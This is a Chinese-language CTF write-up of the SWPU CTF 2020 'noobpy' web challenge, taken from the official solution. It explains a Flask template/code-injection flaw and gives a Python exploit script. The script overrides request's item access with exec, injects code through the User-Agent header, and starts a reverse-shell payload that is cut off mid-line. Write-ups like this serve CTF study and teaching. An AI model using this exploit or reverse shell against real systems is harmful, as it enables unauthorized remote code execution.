noobpy

发表于 2021-03-05 分类于 Challenge， 2020， SWPU CTF 2020， Web
Challenge | 2020 | SWPU CTF 2020 | Web | noobpy

点击此处获得更好的阅读体验

WriteUp来源

官方WP

题目考点

- *Flask模板注入*

解题思路

发现

内存在命令注入

或者尝试报错也能发现。

将request的[]重载为exec实现命令执行，并且用UA头来注入

反弹shell拿到flag

Exp:

```
import requests

url ="http://192.168.31.51:6061/Equ.php"
s= requests.Session()
def exp(poc1,poc2):
    data = {
        "left":poc1+"1",
        "right":"1"
    }
    header = {
        "User-Agent":poc2
    }
    req = s.post(url,data=data,headers=header)
    print req.text
#exp('__builtins__.eval=__builtins__.exec#',"xxx")
exp("request.__class__.__getitem__=__builtins__.exec;request[request.user_agent.string];",'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s
```


 # Challenge # 2020 # Web # SWPU CTF 2020
太极
sqlsqlsql